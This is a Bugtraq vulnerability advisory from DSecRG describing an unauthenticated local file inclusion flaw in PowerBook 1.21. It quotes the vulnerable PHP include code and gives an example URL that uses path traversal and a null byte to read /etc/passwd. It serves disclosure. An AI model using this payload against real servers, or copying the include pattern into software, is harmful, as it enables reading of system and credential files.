[DSECRG-08-019] LFI in PowerBook 1.21

[Digital Security Research Group <research () dsec ru>]

Hello, bugtraq.


[DSECRG-08-031] Digital Security Research Group [DSecRG] Advisory


Application:                    PowerBook
Versions Affected:              1.21
Vendor URL:                     http://www.powerscripts.org/
Bug:                            Local File Include
Exploits:                       YES
Reported:                       01.02.2008
Vendor Response:                none
Solution:                       none
Date of Public Advisory:        ..2008
Author:                         Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script pb_inc/admincenter/index.php 

Non-authentication user can directly access to this script.

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
****
#################################################

  if (!$page) {
     $page = "home";
  }

  $page .= ".inc.php";

  if(file_exists($page) == false) {
     echo "
        <div align=\"center\">Sorry, the page <b>$page</b> does not exist!</div>
     ";
  } else {
     include("$page");
  }

#################################################


Example:

http://[server]/[installdir]/pb_inc/admincenter/index.php?page=../../../../../../../../../../../../../etc/passwd%00



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and 
penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI 
DSS standards. Digital Security Research Group focuses on web application and database security problems with 
vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:        research [at] dsec [dot] ru
                http://www.dsec.ru (in Russian)



-- 
Alexandr Polyakov
DIGITAL SECURITY RESEARCH GROUP

                       mailto:research () dsec ru